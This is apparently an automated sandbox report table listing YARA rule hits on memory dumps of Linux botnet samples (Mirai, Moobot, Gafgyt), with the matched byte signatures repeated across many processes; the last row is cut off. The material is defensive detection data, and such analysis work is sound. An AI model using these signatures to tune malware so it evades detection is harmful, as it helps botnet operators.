6647.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6251.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6251.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6251.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6251.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6958.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6958.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6958.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6958.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6958.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6958.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6741.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7289.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6251.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6251.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6816.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7276.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7412.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7412.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7412.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6899.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6899.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6899.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6899.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6899.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6899.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6545.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6545.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6545.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6545.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6545.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6545.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7412.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7412.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7412.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7287.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6731.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6731.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6731.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6731.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6731.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 